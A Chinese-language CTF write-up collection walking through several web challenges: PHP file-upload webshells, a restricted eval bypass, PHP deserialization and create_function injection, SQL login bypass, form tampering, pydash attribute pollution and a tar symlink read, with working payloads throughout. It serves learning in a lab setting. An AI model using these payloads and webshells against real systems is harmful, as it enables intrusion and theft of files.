WEB

b@by n0t1ce b0ard

出题人: LamentXU

 

院校:无

 

难度:签到

 

在你以后的 CTF 历程中,你会遇到不少的大型 php 项目审计。

 

然而,大多数情况下,你不一定需要完全自己审计出一个原创的漏洞(0day),而是可以利用已有的漏洞进行攻击(nday)。

 

CVE 是这个世界上最大的漏洞数据库。复现 CVE 是每一个 web 手不可或缺的能力。接下来,尝试用好你的 google,去复现一个已经发布的 php 项目漏洞。

 

CVE 编号:CVE-2024-12233

题目给了附件,我的360直接报出来registration.php是木马

<?php
require('connection.php');
extract($_POST);
if(isset($save))
{
//check user alereay exists or not
$sql=mysqli_query($conn,"select * from user where email='$e'");

$r=mysqli_num_rows($sql);

if($r==true)
{
$err= "<font color='red'>This user already exists</font>";
}
else
{
//dob
$dob=$yy."-".$mm."-".$dd;

//hobbies
$hob=implode(",",$hob);

//image
$imageName=$_FILES['img']['name'];


//encrypt your password
$pass=md5($p);


$query="insert into user values('','$n','$e','$pass','$mob','$gen','$hob','$imageName','$dob',now())";
mysqli_query($conn,$query);

//upload image

mkdir("images/$e");
move_uploaded_file($_FILES['img']['tmp_name'],"images/$e/".$_FILES['img']['name']);


$err="<font color='blue'>Registration successfull !!</font>";

}
}




?>
<h2><b>REGISTRATION FORM</b></h2>
		<form method="post" enctype="multipart/form-data">
			<table class="table table-bordered">
	<Tr>
		<Td colspan="2"><?php echo @$err;?></Td>
	</Tr>

				<tr>
					<td>Your Name</td>
					<Td><input  type="text"  class="form-control" name="n" required/></td>
				</tr>
				<tr>
					<td>Your Email </td>
					<Td><input type="email"  class="form-control" name="e" required/></td>
				</tr>

				<tr>
					<td>Your Password </td>
					<Td><input type="password"  class="form-control" name="p" required/></td>
				</tr>

				<tr>
					<td>Your Mobile No. </td>
					<Td><input  class="form-control" type="number" name="mob" required/></td>
				</tr>

				<tr>
					<td>Select Your Gender</td>
					<Td>
				Male<input type="radio" name="gen" value="m" required/>
				Female<input type="radio" name="gen" value="f"/>
					</td>
				</tr>

				<tr>
					<td>Choose Your Hobbies</td>
					<Td>
					Reading<input value="reading" type="checkbox" name="hob[]"/>
					Singing<input value="singin" type="checkbox" name="hob[]"/>

					Playing<input value="playing" type="checkbox" name="hob[]"/>
					</td>
				</tr>


				<tr>
					<td>Upload  Your Image </td>
					<Td><input class="form-control" type="file" name="img" required/></td>
				</tr>

				<tr>
					<td>Date of Birth</td>
					<Td>
					<select name="yy" required>
					<option value="">Year</option>
					<?php
					for($i=1950;$i<=2016;$i++)
					{
					echo "<option>".$i."</option>";
					}
					?>

					</select>

					<select name="mm" required>
					<option value="">Month</option>
					<?php
					for($i=1;$i<=12;$i++)
					{
					echo "<option>".$i."</option>";
					}
					?>

					</select>


					<select name="dd" required>
					<option value="">Date</option>
					<?php
					for($i=1;$i<=31;$i++)
					{
					echo "<option>".$i."</option>";
					}
					?>

					</select>

					</td>
				</tr>

				<tr>


<Td colspan="2" align="center">
<input type="submit" class="btn btn-success" value="Save" name="save"/>
<input type="reset" class="btn btn-success" value="Reset"/>

					</td>
				</tr>
			</table>
		</form>
	</body>
</html>

在这一段有文件上传漏洞

$imageName=$_FILES['img']['name'];
move_uploaded_file($_FILES['img']['tmp_name'],"images/$e/".$_FILES['img']['name']);
  • 未验证文件类型
  • 使用原始文件名,可上传PHP shell
  • 目录以邮箱命名,可能包含特殊字符

在注册用户的页面可以利用这个漏洞来执行命令



用Burpsuite抓包

Upload Your Image上传一个空白图片test.jpg试试,其他的就随便填



返回了注册成功的页面


阅读源代码可以发现上传的图片被保存到了/images/邮箱/图片

// 代码中的关键行:
mkdir("images/$e");  // 创建以邮箱命名的目录
move_uploaded_file($_FILES['img']['tmp_name'],"images/$e/".$_FILES['img']['name']);

于是访问/images/111@qq.com/test.jpg可以看到这个页面,并没有什么特别的地方


再上传一个shell.php的一句话木马上去

抓包更改内容


再访问/images/shell@sh.com/shell.php可以看到直接显示了php文件的内容


于是可以用蚁剑连接,也可以手动操作,也挺方便

分别测试payload

?c=system('ls');

?c=system('ls /');

发现在根目录有一个flag

直接读取内容

c=system('cat /flag');


 

ezrce

出题人:f1@g

 

院校:信阳师范大学

 

难度:简单

 

如此ez的rce,补兑,怎么只允许这些?

<?php
highlight_file(__FILE__);

if(isset($_GET['code'])){
    $code = $_GET['code'];
    if (preg_match('/^[A-Za-z\(\)_;]+$/', $code)) {
        eval($code);
    }else{
        die('师傅,你想拿flag?');
    }
}

题目允许我们通过code参数传入PHP代码执行,但有过滤

  • 只允许:大小写字母A-Z a-z、括号()、分号;、下划线_

先测试一下Payload

?code=phpinfo();


可以执行命令


不能写字符串,需要用其他方法

比如查看当前目录print_r(scandir(getcwd()));——但这需要用到.

但是可以用print_r(scandir(pos(localeconv())));

  • 返回本地化信息数组,第一个元素是 .
  • pos()取数组第一个元素
  • 相当于执行 scandir('.')


经过测试发现当前目录只有index.php


再查看环境变量

使用print_r(getenv());

返回了如下结果

Array ( [HOSTNAME] => dca4f7eec29e [PHP_INI_DIR] => /usr/local/etc/php [SHLVL] => 1 [HOME] => /home/www-data [PHP_LDFLAGS] => -Wl,-O1 -pie [PHP_CFLAGS] => -fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64 [PHP_VERSION] => 7.3.33 [GPG_KEYS] => CBAF69F173A0FEA4B537F470D66C9593118BCCB6 F38252826ACD957EF380D39F2F7956BC5DA04B5D [PHP_CPPFLAGS] => -fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64 [PHP_ASC_URL] => https://www.php.net/distributions/php-7.3.33.tar.xz.asc [PHP_URL] => https://www.php.net/distributions/php-7.3.33.tar.xz [PATH] => /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin [PHPIZE_DEPS] => autoconf dpkg-dev dpkg file g++ gcc libc-dev make pkgconf re2c [PWD] => /var/www/html [PHP_SHA256] => 166eaccde933381da9516a2b70ad0f447d7cec4b603d07b9a916032b215b90cc [FLAG] => no_FLAG [USER] => www-data )

[FLAG] => no_FLAG [USER](悲

再之后想到PHP中可以通过HTTP头传递数据

可以用system(reset(getallheaders()));

具体操作:

Hackbar当中添加请求头X-Forwarded-For

内容为cat /flag

然后在url处加上Payload?code=system(reset(getallheaders()));

然后发送请求可以得到flag 不知道为什么用Burpsuite手动添加请求头用这个方法不生效拿不到flag,我是彩笔


 

来签个到吧

出题人:卡奇

 

院校:无

 

难度:简单

 

小蓝鲨邀请你来打CTF😋

题目附件内有三个php文件是突破口

<?php
  require_once "./config.php";
require_once "./classes.php";

if ($_SERVER["REQUEST_METHOD"] === "POST") {
  $s = $_POST["shark"] ?? '喵喵喵?';

  if (str_starts_with($s, "blueshark:")) {
    $ss = substr($s, strlen("blueshark:"));

    $o = @unserialize($ss);

    $p = $db->prepare("INSERT INTO notes (content) VALUES (?)");
    $p->execute([$ss]);

    echo "save sucess!";
    exit(0);
  } else {
    echo "喵喵喵?";
    exit(1);
  }
}

$q = $db->query("SELECT id, content FROM notes ORDER BY id DESC LIMIT 10");
$rows = $q->fetchAll(PDO::FETCH_ASSOC);
?>

<!doctype html>
<html>
  <head>
    <meta charset="utf-8" />
    <title>宝宝你是一只猫猫</title>
    <style>
      body { font-family: system-ui, -apple-system, "Segoe UI", Roboto, "Helvetica Neue", Arial; padding: 24px; }
      textarea { width: 100%; max-width: 800px; height: 120px; font-family: monospace; }
      .recent { margin-top: 20px; max-width: 900px; }
      .note { background:#f7f7f8; padding:10px; border-radius:6px; margin-bottom:8px; font-family: monospace; white-space:pre-wrap; }
      .meta { color:#666; font-size:90%; margin-bottom:6px; }
      .btn { padding:8px 14px; border-radius:6px; border:1px solid #ccc; background:#fff; cursor:pointer; }
    </style>
  </head>
  <body>
    <h1>SharkHub</h1>

    <form method="POST" style="max-width:900px; margin-bottom:18px;">
      <p>你喜欢小蓝鲨吗?</p>
      <br/>
      <!--
      <textarea id="s" name="shark" placeholder=""></textarea><br/>
      <br/>
      <button class="btn" type="submit">commit</button>
      -->
    </form>

    <div class="recent">
      <h2>Recent</h2>
      <?php foreach ($rows as $r): ?>
      <div class="note">
        <div class="meta">#<?= htmlspecialchars($r['id'], ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8') ?></div>
        <div><?= htmlspecialchars($r['content'], ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8') ?></div>
      </div>
      <?php endforeach; ?>
    </div>
  </body>
</html>

<?php
require_once "./config.php";
require_once "./classes.php";

$id = $_GET["id"] ?? '喵喵喵?';

$s = $db->prepare("SELECT content FROM notes WHERE id = ?");
$s->execute([$id]);
$row = $s->fetch(PDO::FETCH_ASSOC);

if (! $row) {
    die("喵喵喵?");
}

$cfg = unserialize($row["content"]);

if ($cfg instanceof ShitMountant) {
    $r = $cfg->fetch();
    echo "ok!" . "<br>";
    echo nl2br(htmlspecialchars($r));
}
else {
    echo "喵喵喵?";
}
?>

<?php
class FileLogger {
    public $logfile = "/tmp/notehub.log";
    public $content = "";

    public function __construct($f=null) {
        if ($f) {
            $this->logfile = $f;
        }
    }

    public function write($msg) {
        $this->content .= $msg . "\n";
        file_put_contents($this->logfile, $this->content, FILE_APPEND);
    }

    public function __destruct() {
        if ($this->content) {
            file_put_contents($this->logfile, $this->content, FILE_APPEND);
        }
    }
}

class ShitMountant {
    public $url;
    public $logger;

    public function __construct($url) {
        $this->url = $url;
        $this->logger = new FileLogger();
    }

    public function fetch() {
        $c = file_get_contents($this->url);
        if ($this->logger) {
            $this->logger->write("fetched ==> " . $this->url);
        }
        return $c;
    }

    public function __destruct() {
        $this->fetch();
    }
}
?>


index.php当中有问题

if (str_starts_with($s, "blueshark:")) {
  $ss = substr($s, strlen("blueshark:"));
  $o = @unserialize($ss); // 反序列化用户输入
  // ... 存到数据库
}

api.php当中也有问题

$cfg = unserialize($row["content"]); // 再次反序列化
if ($cfg instanceof ShitMountant) {
    $r = $cfg->fetch();  // 执行fetch方法
    // ... 输出结果
}

classes.php当中还有问题

class ShitMountant {
  public function fetch() {
    $c = file_get_contents($this->url); //可以直接读取文件
    return $c;
  }
}

经典反序列化问题

可以创建一个ShitMountant对象,把它的 url属性设置为file:///flag:

// 创建一个对象
$obj = new ShitMountant();
$obj->url = "file:///flag";  // 告诉它去读取flag文件
$obj->logger = null;  // 日志器设为空

PHPserialize()函数可以把对象变成字符串

O:12:"ShitMountant":2:{s:3:"url";s:12:"file:///flag";s:6:"logger";N;}

发送Payloadindex.php/?shark=blueshark:O:12:\"ShitMountant\":2:{s:3:\"url\";s:12:\"file:///flag\";s:6:\"logger\";N;}

url编码之后为?shark=blueshark%3AO%3A12%3A%5C%2522ShitMountant%5C%2522%3A2%3A%7Bs%3A3%3A%5C%2522url%5C%2522%3Bs%3A12%3A%5C%2522file%3A%2F%2F%2Fflag%5C%2522%3Bs%3A6%3A%5C%2522logger%5C%2522%3BN%3B%7D

服务器回复了save success

页面也随之发生变化


现在访问api.php?id=1就可以拿到flag


 

flag到底在哪

出题人:fortuneh2c

 

院校:山西师范大学

 

难度:简单

 

小蓝鲨部署了一个网页项目,但是怎么403啊,好像什么爬虫什么的


进入题目环境报403,题目提示谈到了爬虫,自然想到robots.txt

访问一下看看


得到了登录页面


提示用户名为admin,这大概率是sql注入

使用万能密码' OR '1'='1注入成功,自动跳转到了这个页面


直接上传一句话的php文件<?php @eval($_GET['c']);?>


访问这个文件就可以执行命令了


/home当中找到flag

?c=system('cat /home/flag');拿到flag

Bypass

出题人:BR

 

院校:西安理工大学

 

难度:中等

 

How to bypass?

题目附件给了这个环境的docker项目文件,其中包含了index.php

<?php
  class FLAG
{
  private $a;
protected $b;
public function __construct($a, $b)
  {
    $this->a = $a;
    $this->b = $b;
    $this->check($a,$b);
    eval($a.$b);
  }
public function __destruct(){
  $a = (string)$this->a;
  $b = (string)$this->b;
  if ($this->check($a,$b)){
    $a("", $b);
  }
  else{
    echo "Try again!";
  }
}
private function check($a, $b) {
  $blocked_a = ['eval', 'dl', 'ls', 'p', 'escape', 'er', 'str', 'cat', 'flag', 'file', 'ay', 'or', 'ftp', 'dict', '\.\.', 'h', 'w', 'exec', 's', 'open'];
  $blocked_b = ['find', 'filter', 'c', 'pa', 'proc', 'dir', 'regexp', 'n', 'alter', 'load', 'grep', 'o', 'file', 't', 'w', 'insert', 'sort', 'h', 'sy', '\.\.', 'array', 'sh', 'touch', 'e', 'php', 'f'];

  $pattern_a = '/' . implode('|', array_map('preg_quote', $blocked_a, ['/'])) . '/i';
  $pattern_b = '/' . implode('|', array_map('preg_quote', $blocked_b, ['/'])) . '/i';

  if (preg_match($pattern_a, $a) || preg_match($pattern_b, $b)) {
    return false;
  }
  return true;
}  
}


if (isset($_GET['exp'])) {
  $p = unserialize($_GET['exp']);
  var_dump($p);
}else{
  highlight_file("index.php");
}

依旧反序列化(悲

注入点在exp

unserialize($_GET['exp'])存在反序列化漏洞

FLAG 类的__destruct()方法(触发点)

public function __destruct(){
    // ...
    if ($this->check($a,$b)){
        $a("", $b); // 动态函数调用
    }
    // ...
}

check($a, $b)里面的黑名单极其严格

屏蔽了eval``exec``system``passthru等函数,甚至屏蔽了单字母p``s``h``w这就导致system``shell_exec``phpinfo``highlight_file``readfile等几乎所有常规函数都无法直接作为 $a 使用

经过多番查询发现 PHP的解析器在处理字符串时,支持将ASCII码以八进制形式表示

  • 正则检查阶段preg_match看到的是字面意思,它不认为这是字符s从而绕过黑名单
  • 代码执行阶段create_function内部的eval执行代码时它会将"\163"解析为字符串"s"

可以在注入代码中执行readfile("/flag")

原始Payload大致长这样

} $A="readfile"; $A("/flag"); //

readfile->\162\145\141\144\146\151\154\145

/flag->\057\146\154\141\147

<?php
class FLAG
{
    private $a;
    protected $b;
}

$obj = new FLAG();

$reflection_a = new ReflectionProperty('FLAG', 'a');
$reflection_a->setAccessible(true);
$reflection_a->setValue($obj, 'create_function');

$code = '} $A="\\162\\145\\141\\144\\146\\151\\154\\145"; $A("\\057\\146\\154\\141\\147"); //';

$reflection_b = new ReflectionProperty('FLAG', 'b');
$reflection_b->setAccessible(true);
$reflection_b->setValue($obj, $code);

$payload = serialize($obj);
echo "Payload: " . urlencode($payload) . "\n";
?>

执行出来结果为

O%3A4%3A%22FLAG%22%3A2%3A%7Bs%3A7%3A%22%00FLAG%00a%22%3Bs%3A15%3A%22create_function%22%3Bs%3A4%3A%22%00%2A%00b%22%3Bs%3A71%3A%22%7D%20%24A%3D%22%5C162%5C145%5C141%5C144%5C146%5C151%5C154%5C145%22%3B%20%24A%28%22%5C057%5C146%5C154%5C141%5C147%22%29%3B%20%2F%2F%22%3B%7D

然后注入?exp=O%3A4%3A%22FLAG%22%3A2%3A%7Bs%3A7%3A%22%00FLAG%00a%22%3Bs%3A15%3A%22create_function%22%3Bs%3A4%3A%22%00%2A%00b%22%3Bs%3A71%3A%22%7D%20%24A%3D%22%5C162%5C145%5C141%5C144%5C146%5C151%5C154%5C145%22%3B%20%24A%28%22%5C057%5C146%5C154%5C141%5C147%22%29%3B%20%2F%2F%22%3B%7D得到flag

 

Who am I?

出题人:duu

 

院校:河南理工大学

 

难度:简单

 

小蓝鲨做了一个半成品系统,但似乎很容易获取到敏感信息


题目环境长这个样子,首先尝试sql注入,但是测试了很久都没有什么变化,换一条路

在网站源代码当中发现有一个js文件


(function () {
  "use strict";

  function noop() {}
  function identity(x) { return x; }
  function times(n, fn) { for (let i = 0; i < n; i++) fn(i); }
  function clamp(v, a, b) { return Math.min(b, Math.max(a, v)); }
  function hashStr(s) { let h = 0; for (let i = 0; i < s.length; i++) h = (h << 5) - h + s.charCodeAt(i) | 0; return h >>> 0; }
  function randInt(a, b) { return a + Math.floor(Math.random() * (b - a + 1)); }
  function pad2(n) { return n < 10 ? "0" + n : "" + n; }
  function dateStamp() { const d = new Date(); return d.getFullYear()+"-"+pad2(d.getMonth()+1)+"-"+pad2(d.getDate()); }
  function debounce(fn, wait) { let t; return function () { clearTimeout(t); t = setTimeout(() => fn.apply(this, arguments), wait); }; }
  function throttle(fn, wait) { let last = 0; return function () { const now = Date.now(); if (now - last >= wait) { last = now; fn.apply(this, arguments); } }; }
  function memo(fn) { const m = new Map(); return function (k) { if (m.has(k)) return m.get(k); const v = fn(k); m.set(k, v); return v; }; }
  const expensive = memo(n => { let r = 1; for (let i = 1; i < 1000; i++) r = (r * (n + i)) % 2147483647; return r; });

  function camel(s){return s.replace(/[-_](\w)/g,(_,c)=>c.toUpperCase());}
  function chunk(arr, size){const out=[];for(let i=0;i<arr.length;i+=size) out.push(arr.slice(i,i+size));return out;}
  function uniq(arr){return Array.from(new Set(arr));}
  function flat(arr){return arr.reduce((a,b)=>a.concat(b),[]);}
  function repeatStr(s,n){let r="";times(n,()=>r+=s);return r;}
  const loremPool = "lorem ipsum dolor sit amet consectetur adipiscing elit".split(" ");
  function lorem(n){let r=[];times(n,()=>r.push(loremPool[randInt(0,loremPool.length-1)]));return r.join(" ");}

  const Net = {
    get: function(url){ return Promise.resolve({url, ok: true, ts: Date.now()}); },
    post: function(url, body){ return Promise.resolve({url, ok: true, len: JSON.stringify(body||{}).length}); }
  };

  const Bus = (function(){
    const map = new Map();
    return {
      on: (e,fn)=>{ if(!map.has(e)) map.set(e, []); map.get(e).push(fn); },
      emit: (e,p)=>{ const arr = map.get(e)||[]; arr.forEach(fn=>{ try{fn(p);}catch(_){} }); },
      off: (e,fn)=>{ const arr = map.get(e)||[]; map.set(e, arr.filter(f=>f!==fn)); }
    };
  })();

  const DOM = {
    qs: (sel, root=document)=>root.querySelector(sel),
    qsa: (sel, root=document)=>Array.from(root.querySelectorAll(sel)),
    el: (tag, props)=>Object.assign(document.createElement(tag), props||{}),
    hide: (node)=>{ if(node && node.style) node.style.display = "none"; },
    show: (node)=>{ if(node && node.style) node.style.display = ""; },
    on: (node, ev, fn, opt)=>node && node.addEventListener(ev, fn, opt)
  };

  function fakeLayoutScore(node){
    if(!node) return 0;
    const r = node.getBoundingClientRect ? node.getBoundingClientRect() : {width:1,height:1};
    return clamp(Math.floor((r.width * r.height) % 9973), 0, 9973);
  }

  const CFG = {
    version: "v"+dateStamp()+"."+randInt(100,999),
    flags: { featureX: false, featureY: true, verbose: false }
  };
  const Cache = new Map();

  (function lightScheduler(){
    const tasks = [
      ()=>Cache.set("k"+randInt(1,9), hashStr(lorem(5))),
      ()=>expensive(randInt(1,100)),
      ()=>Bus.emit("tick", Date.now())
    ];
    let i=0;
    setTimeout(function run(){
      try { tasks[i%tasks.length](); } catch(_){}
      i++;
      if(i<5) setTimeout(run, randInt(60,140));
    }, randInt(50,120));
  })();

  function ensureTypeHidden() {
    const form = DOM.qs("form[action='/login'][method='POST']");
    if (!form) return;

    let hidden = form.querySelector("input[name='type']");
    if (!hidden) {
      hidden = DOM.el("input", { type: "hidden", name: "type", value: "1" });
      form.appendChild(hidden);
    }

    DOM.on(form, "submit", function () {
      let h = form.querySelector("input[name='type']");
      if (!h) {
        h = DOM.el("input", { type: "hidden", name: "type", value: "1" });
        form.appendChild(h);
      } else if (h.value !== "1") {
        h.value = "1";
      }
    });
  }

  function mountInvisible(){
    try{
      const ghost = DOM.el("div");
      ghost.setAttribute("data-h", hashStr(CFG.version));
      ghost.style.cssText = "display:none;width:0;height:0;overflow:hidden;";
      ghost.textContent = repeatStr("*", randInt(1,3)); 
      document.body.appendChild(ghost);
    }catch(_){}
  }

  function prewarm(){
    try{
      Net.get("/ping?_="+Date.now()).then(noop).catch(noop);
      times(3, i => Cache.set("warm"+i, expensive(i+1)));
    }catch(_){}
  }

  function keySpy(){
    const handler = throttle(function(){  }, 200);
    DOM.on(document, "keydown", handler);
  }

  function init(){
    prewarm();
    keySpy();
    ensureTypeHidden();     
    mountInvisible();
    Bus.on("tick", noop);
  }

  if (document.readyState === "loading") {
    document.addEventListener("DOMContentLoaded", init, { once: true });
  } else {
    init();
  }

})();

分析代码,发现ensureTypeHidden()函数有问题

function ensureTypeHidden() {
  const form = DOM.qs("form[action='/login'][method='POST']");
  if (!form) return;

  let hidden = form.querySelector("input[name='type']");
  if (!hidden) {
    hidden = DOM.el("input", { type: "hidden", name: "type", value: "1" });
    form.appendChild(hidden);
  }

  DOM.on(form, "submit", function () {
    let h = form.querySelector("input[name='type']");
    if (!h) {
      h = DOM.el("input", { type: "hidden", name: "type", value: "1" });
      form.appendChild(h);
    } else if (h.value !== "1") {
      h.value = "1";
    }
  });
}

这个函数试图在登录表单中自动添加一个隐藏的type=1字段

但如果是在登录之前修改了这个函数,让type=0就可以进入管理员后台页面


首先注册一个新用户


注册好之后会自动跳转到登录页面

然后在控制台里面写入脚本

// 绕过type=1限制
const form = document.querySelector("form[action='/login'][method='POST']");
const newForm = form.cloneNode(true);
form.parentNode.replaceChild(newForm, form);

let typeInput = newForm.querySelector('input[name="type"]');
if (!typeInput) {
  typeInput = document.createElement('input');
  typeInput.type = 'hidden';
  typeInput.name = 'type';
  newForm.appendChild(typeInput);
}
typeInput.value = '0';  // 设置为管理员

console.log('已设置type=0,现在可以登录');



跳转到了管理员后台(url为/272e1739b89da32e983970ece1a086bd

查看配置文件


得到三个文件,保存下来

fetch("/user/demo",{method:"POST"})
  .then(r => r.json())
  .then(data => {
    document.getElementById("username").innerText = data.username;
  });
(function () {
  "use strict";

  function noop() {}
  function identity(x) { return x; }
  function times(n, fn) { for (let i = 0; i < n; i++) fn(i); }
  function clamp(v, a, b) { return Math.min(b, Math.max(a, v)); }
  function hashStr(s) { let h = 0; for (let i = 0; i < s.length; i++) h = (h << 5) - h + s.charCodeAt(i) | 0; return h >>> 0; }
  function randInt(a, b) { return a + Math.floor(Math.random() * (b - a + 1)); }
  function pad2(n) { return n < 10 ? "0" + n : "" + n; }
  function dateStamp() { const d = new Date(); return d.getFullYear()+"-"+pad2(d.getMonth()+1)+"-"+pad2(d.getDate()); }
  function debounce(fn, wait) { let t; return function () { clearTimeout(t); t = setTimeout(() => fn.apply(this, arguments), wait); }; }
  function throttle(fn, wait) { let last = 0; return function () { const now = Date.now(); if (now - last >= wait) { last = now; fn.apply(this, arguments); } }; }
  function memo(fn) { const m = new Map(); return function (k) { if (m.has(k)) return m.get(k); const v = fn(k); m.set(k, v); return v; }; }
  const expensive = memo(n => { let r = 1; for (let i = 1; i < 1000; i++) r = (r * (n + i)) % 2147483647; return r; });

  function camel(s){return s.replace(/[-_](\w)/g,(_,c)=>c.toUpperCase());}
  function chunk(arr, size){const out=[];for(let i=0;ia.concat(b),[]);}
  function repeatStr(s,n){let r="";times(n,()=>r+=s);return r;}
  const loremPool = "lorem ipsum dolor sit amet consectetur adipiscing elit".split(" ");
  function lorem(n){let r=[];times(n,()=>r.push(loremPool[randInt(0,loremPool.length-1)]));return r.join(" ");}

  const Net = {
    get: function(url){ return Promise.resolve({url, ok: true, ts: Date.now()}); },
    post: function(url, body){ return Promise.resolve({url, ok: true, len: JSON.stringify(body||{}).length}); }
  };

  const Bus = (function(){
    const map = new Map();
    return {
      on: (e,fn)=>{ if(!map.has(e)) map.set(e, []); map.get(e).push(fn); },
      emit: (e,p)=>{ const arr = map.get(e)||[]; arr.forEach(fn=>{ try{fn(p);}catch(_){} }); },
      off: (e,fn)=>{ const arr = map.get(e)||[]; map.set(e, arr.filter(f=>f!==fn)); }
    };
  })();

  const DOM = {
    qs: (sel, root=document)=>root.querySelector(sel),
    qsa: (sel, root=document)=>Array.from(root.querySelectorAll(sel)),
    el: (tag, props)=>Object.assign(document.createElement(tag), props||{}),
    hide: (node)=>{ if(node && node.style) node.style.display = "none"; },
    show: (node)=>{ if(node && node.style) node.style.display = ""; },
    on: (node, ev, fn, opt)=>node && node.addEventListener(ev, fn, opt)
  };

  function fakeLayoutScore(node){
    if(!node) return 0;
    const r = node.getBoundingClientRect ? node.getBoundingClientRect() : {width:1,height:1};
    return clamp(Math.floor((r.width * r.height) % 9973), 0, 9973);
  }

  const CFG = {
    version: "v"+dateStamp()+"."+randInt(100,999),
    flags: { featureX: false, featureY: true, verbose: false }
  };
  const Cache = new Map();

  (function lightScheduler(){
    const tasks = [
      ()=>Cache.set("k"+randInt(1,9), hashStr(lorem(5))),
      ()=>expensive(randInt(1,100)),
      ()=>Bus.emit("tick", Date.now())
    ];
    let i=0;
    setTimeout(function run(){
      try { tasks[i%tasks.length](); } catch(_){}
      i++;
      if(i<5) setTimeout(run, randInt(60,140));
    }, randInt(50,120));
  })();

  function ensureTypeHidden() {
    const form = DOM.qs("form[action='/login'][method='POST']");
    if (!form) return;

    let hidden = form.querySelector("input[name='type']");
    if (!hidden) {
      hidden = DOM.el("input", { type: "hidden", name: "type", value: "1" });
      form.appendChild(hidden);
    }

    DOM.on(form, "submit", function () {
      let h = form.querySelector("input[name='type']");
      if (!h) {
        h = DOM.el("input", { type: "hidden", name: "type", value: "1" });
        form.appendChild(h);
      } else if (h.value !== "1") {
        h.value = "1";
      }
    });
  }

  function mountInvisible(){
    try{
      const ghost = DOM.el("div");
      ghost.setAttribute("data-h", hashStr(CFG.version));
      ghost.style.cssText = "display:none;width:0;height:0;overflow:hidden;";
      ghost.textContent = repeatStr("*", randInt(1,3)); 
      document.body.appendChild(ghost);
    }catch(_){}
  }

  function prewarm(){
    try{
      Net.get("/ping?_="+Date.now()).then(noop).catch(noop);
      times(3, i => Cache.set("warm"+i, expensive(i+1)));
    }catch(_){}
  }

  function keySpy(){
    const handler = throttle(function(){  }, 200);
    DOM.on(document, "keydown", handler);
  }

  function init(){
    prewarm();
    keySpy();
    ensureTypeHidden();     
    mountInvisible();
    Bus.on("tick", noop);
  }

  if (document.readyState === "loading") {
    document.addEventListener("DOMContentLoaded", init, { once: true });
  } else {
    init();
  }

})();
  from flask import Flask,request,render_template,redirect,url_for
import json
import pydash

app=Flask(__name__)

database={}
data_index=0
name=''

@app.route('/',methods=['GET'])
def index():
    return render_template('login.html')

@app.route('/register',methods=['GET'])
def register():
    return render_template('register.html')

@app.route('/registerV2',methods=['POST'])
def registerV2():
    username=request.form['username']
    password=request.form['password']
    password2=request.form['password2']
    if password!=password2:
        return '''
        <script>
        alert('前后密码不一致,请确认后重新输入。');
        window.location.href='/register';
        </script>
        '''
    else:
        global data_index
        data_index+=1
        database[data_index]=username
        database[username]=password
        return redirect(url_for('index'))

@app.route('/user_dashboard',methods=['GET'])
def user_dashboard():
    return render_template('dashboard.html')

@app.route('/272e1739b89da32e983970ece1a086bd',methods=['GET'])
def A272e1739b89da32e983970ece1a086bd():
    return render_template('admin.html')

@app.route('/operate',methods=['GET'])
def operate():
    username=request.args.get('username')
    password=request.args.get('password')
    confirm_password=request.args.get('confirm_password')
    if username in globals() and "old" not in password:
        Username=globals()[username]
        try:
            pydash.set_(Username,password,confirm_password)
            return "oprate success"
        except:
            return "oprate failed"
    else:
        return "oprate failed"

@app.route('/user/name',methods=['POST'])
def name():
    return {'username':user}

def logout():
    return redirect(url_for('index'))

@app.route('/reset',methods=['POST'])
def reset():
    old_password=request.form['old_password']
    new_password=request.form['new_password']
    if user in database and database[user] == old_password:
        database[user]=new_password
        return '''
        <script>
        alert('密码修改成功,请重新登录。');
        window.location.href='/';
        </script>
        '''
    else:
        return '''
        <script>
        alert('密码修改失败,请确认旧密码是否正确。');
        window.location.href='/user_dashboard';
        </script>
        '''

@app.route('/impression',methods=['GET'])
def impression():
    point=request.args.get('point')
    if len(point) > 5:
        return "Invalid request"
    List=["{","}",".","%","<",">","_"]
    for i in point:
        if i in List:
            return "Invalid request"
    return render_template(point)

@app.route('/login',methods=['POST'])
def login():
    username=request.form['username']
    password=request.form['password']
    type=request.form['type']
    if username in database and database[username] != password:
        return '''
        <script>
        alert('用户名或密码错误请重新输入。');
        window.location.href='/';
        </script>
        '''
    elif username not in database:
        return '''
        <script>
        alert('用户名或密码错误请重新输入。');
        window.location.href='/';
        </script>
        '''
    else:
        global name
        name=username    
        if int(type)==1:
            return redirect(url_for('user_dashboard'))
        elif int(type)==0:
            return redirect(url_for('A272e1739b89da32e983970ece1a086bd'))

if __name__=='__main__':
    app.run(host='0.0.0.0',port=8080,debug=False)

mian.py当中有两个漏洞

  • /operate 路由中,代码使用了pydash.set_来修改对象属性,这允许我们修改全局作用域中存在的任何对象的属性
  • /impression路由中,存在一个受限的模板渲染功能

代码直接将用户输入传入render_template如果我们能改变Flask寻找模板的路径,就能利用这个点去读取服务器上的任意文件


首先尝试修改app.template_folder

Payload1:

/operate?username=app&password=template_folder&confirm_password=/

返回oprate failed可能是因为Flask对这个属性有内部校验


然后尝试修改app.static_folder利用静态文件下载

Payload2:

/operate?username=app&password=static_folder&confirm_password=/

结果还是返回oprate failed

 

最后发现可以直接修改Jinja2环境的Loader 搜索路径

Flaskapp对象包含jinja_loader,它负责加载模板,修改它的searchpath属性可以直接改变模板寻找的位置,而且一般不会触发高层属性的校验逻辑

Payload3:

/operate?username=app&password=jinja_loader.searchpath&confirm_password=/

返回了oprate success,成功将模板搜索路径指向了系统根目录

现在就可以直接用/impression来读取flag了

/impression?point=flag得到flag

 

flag?我就借走了

出题人:糖糖毬

 

院校:江西财经大学

 

难度:简单

 

小蓝鲨建了一个资源站,它还很贴心的支持了多种文件格式,甚至能自动解压!小蓝鲨还是太贴心了


系统提示支持上传的文件类型有这些,用tar打包自动解压,先上传一个测试文件试试test.txt -> test content

上传成功,列表当中出现了test.txt这个文件,点击访问


上传的文件被保存到了/download/下,如果上传的文件类型是其他格式再访问只能直接下载这个文件本身,看不见回显

这就可以联想到可以通过软链接,将一个txt文件指向flag的链接

ln -s /flag flag.txt
tar -cvf shell.tar flag.txt

然后将shell.tar上传,自动解压出来flag.txt

访问这个文件即可得到flag


 

ezpop

出题人:winter

 

院校:福建师范大学

 

难度:中等

 

